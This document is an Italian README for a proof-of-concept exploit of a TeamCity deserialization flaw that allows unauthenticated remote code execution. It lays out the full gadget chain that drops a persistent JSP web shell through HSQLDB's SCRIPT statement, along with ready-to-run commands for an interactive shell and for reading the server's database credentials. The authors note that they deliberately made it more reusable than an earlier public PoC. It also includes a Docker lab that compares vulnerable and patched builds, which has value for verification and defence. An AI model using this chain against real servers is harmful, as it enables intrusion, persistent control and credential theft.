PoC e materiale di verifica per CVE-2026-63077 (RCE da deserializzazione nel polling degli agenti di JetBrains TeamCity)
Materiale PoC e di verifica per CVE-2026-63077 (GHSA-94gx-v738-fx9w, "esecuzione di codice in remoto non autenticata in JetBrains TeamCity", CVSS v3.1 9.8 Critico, CWE-502) — corretto in TeamCity 2026.1.3 e 2025.11.7.
Panoramica — Il protocollo di polling degli agenti di TeamCity è raggiungibile senza alcuna credenziale.
POST /app/agents/v1/registerrilascia unTeamCity-AgentSessionIda chiunque, e/app/agents/v1/commands/errordeserializza il corpo della richiesta con un mapper XStream la cui allowlist dei tipi non è esclusiva (il mapper non installa maiNoTypePermission.NONEper primo, quindi i permessi predefiniti di XStream restano in vigore). Una porta HTTP raggiungibile dall'attaccante è quindi sufficiente per inviare un grafo di oggetti XML che TeamCity ricostruisce in oggetti server attivi e termina in una chiamata JDBCgetConnection()— piegata in una scrittura arbitraria di file tramite l'istruzioneSCRIPTdi HSQLDB, dove la riga scritta è essa stessa uno scriptlet JSP: una web shell funzionante e l'esecuzione di comandi come utente del server. La correzione installaNoTypePermission.NONEprima della allowlist, rendendola deny-by-default.
| Livello | Stato | Evidenza |
|---|---|---|
Affidabilità: 10/10 esecuzioni per variante di exploit su 2026.1.2 (uid=1000(tcuser) restituito a ogni esecuzione) | acquisito | evidence/01-reliability-readable-10x.txt, evidence/02-reliability-opt-10x.txt |
Negativo su build corretta 2026.1.3, variante efficiency: FAILED, nessuna webshell, nessun output | acquisito | evidence/03-negative-patched-opt.txt |
| Negativo su build corretta 2026.1.3, variante readable: stessa reiezione | acquisito | evidence/04-negative-patched-readable.txt |
Dimostrazione di impatto massimo: RCE non autenticata come tcuser — id/host/kernel + esfiltrazione delle impostazioni di connessione al database del server dalla directory dati | acquisito | evidence/05-impact-secret-exfiltration.txt |
Coppia di IOC lato server: la build vulnerabile regista la ConversionException di XStream che esegue il gadget, la build corretta registra ForbiddenClassException che lo blocca | acquisito | evidence/06-server-side-ioc.txt |
| Tempi per esecuzione su entrambe le varianti (misurazione in millisecondi corretta) | acquisito | evidence/07-timing-comparison.txt |
Le trascrizioni delle evidenze sono mantenute come acquisite; nelle intestazioni iniziali Command:/CWD:
il percorso home dell'operatore è stato mascherato come ~ (maschera visibile, nient'altro
toccato). Alcune intestazioni Command: fanno riferimento al layout dell'area di lavoro interna della foundry
(~/.b63/projects/...) e ai nomi dei file driver interni; i driver poc/
forniti riproducono la stessa catena, e lab/ riproduce l'ambiente
acquisito.
poc/exploit_opt.py compact driver: register -> error -> webshell GET, one keep-alive connection
poc/exploit_readable.py same chain, stage-by-stage tutorial code
lab/compose.yml official vendor images pinned by digest: 2026.1.2 (8111) vs 2026.1.3 (8112)
lab/teamcity-vuln/config/database.properties pre-seeded internal-HSQLDB data dir, vulnerable twin
lab/teamcity-patched/config/database.properties pre-seeded internal-HSQLDB data dir, patched twin
lab/confirm_teamcity_start.py walks TeamCity's first-start wizard screens unattended (no admin setup)
evidence/ captured lab transcripts (paths scrubbed, see above)
Entrambi i PoC comunicano con istanze di laboratorio locali; la stessa catena funziona contro qualsiasi istanza TeamCity che sei esplicitamente autorizzato a testare. Solo libreria standard di Python 3.10+.
# one command, output returned
python3 poc/exploit_opt.py --url http://127.0.0.1:8111 --cmd "id"
# interactive shell
python3 poc/exploit_opt.py --url http://127.0.0.1:8111
b63> cat /data/teamcity_server/datadir/config/database.properties
b63> exit
Knob (entrambe le varianti): --url (predefinito http://127.0.0.1:8111), --cmd
(esegue un comando ed esce; ometti per una shell), --webroot (l'unico
knob dipendente dall'ambiente — predefinito ../webapps/ROOT, corretto per l'immagine
Docker ufficiale la cui cwd della JVM è /opt/teamcity/bin; i deployment WAR necessitano della
web application root del container esterno, sono accettati percorsi assoluti),
--timeout (per richiesta, predefinito 30 s).
Atteso su un target vulnerabile: due marcatori di stage [b63] (sessione emessa,
webshell depositata) poi l'output grezzo del comando, ad es.
uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser). Il canale dei comandi
è persistente — ogni successiva GET con un comando ?c= diverso viene eseguita
di nuovo. Sulla build corretta: [b63] FAILED ... ed exit 1; nulla è simulato.
Codici di uscita: 0 eseguito, 1 JSP non raggiungibile / corretta / target non disponibile.
Il payload è una linked-hash-map con tre entry ordinate:
HSQLMetadataStorage$SchemaMismatchException
è un Throwable, quindi consentito dai default di XStream; i suoi campi dichiarati
permettono al grafo di costruire un Apache Commons DBCP2 BasicDataSource con un
URL jdbc:hsqldb:mem: e tre connectionInitSqls
(CREATE TABLE ..., INSERT INTO ... VALUES ('<% JSP scriptlet %>'),
SCRIPT '<webroot>/<rand>.jspws').freemarker.ext.beans.HashAdapter è una Map,
quindi consentita; il campo ereditato object del suo wrapper viene ri-puntato tramite
un riferimento XPath al datasource allocato nell'entry 1.TiedMapEntry (una Map.Entry) dentro un HashSet
(una Collection): HashSet.add → hashCode → getValue →
map.get("connection") → lettura della bean property di FreeMarker →
BasicDataSource.getConnection() → DBCP esegue l'init SQL.L'istruzione SCRIPT di HSQLDB scarica il database in memoria su un
percorso scelto dall'attaccante relativo alla working directory del server; la riga scaricata
contiene lo scriptlet JSP verbatim, quindi il dump SQL è una pagina JSP (un
polyglot SQL/JSP — lo stesso trucco usato da Secfault Security contro LibreOffice).
TeamCity mappa .jspws su Jasper; la prima GET anonima lo compila ed
esegue.
Riepilogo del flusso: POST /app/agents/v1/register → header di sessione; POST /app/agents/v1/commands/error → HTTP 500 dopo che l'SQL è stato eseguito (500 è il
caso di successo); GET /<rand>.jspws?c=<command> → output tra marcatori
casuali per esecuzione.
Nota sul riuso: la ricerca pubblica precedente su questa CVE distribuisce un PoC one-shot —
dimostra il bug con un singolo Runtime.exec() e poi cancella il proprio
JSP — nessun output, nessun riuso. I PoC distribuiti mantengono intatta la
gadget chain e sostituiscono lo stage di impatto con una shell ProcessBuilder
che restituisce stdout/stderr, così ogni richiesta è un completo round trip di comandi.
cd lab
docker compose up -d # official images pinned by digest, loopback-only ports
sleep 60
V=$(docker logs cve-2026-63077-vuln 2>&1 | grep -oE 'Super user authentication token: [0-9]+' | head -1 | grep -oE '[0-9]+')
P=$(docker logs cve-2026-63077-patched 2>&1 | grep -oE 'Super user authentication token: [0-9]+' | head -1 | grep -oE '[0-9]+')
python3 confirm_teamcity_start.py --super-token "$V" --super-token "$P"
docker compose ps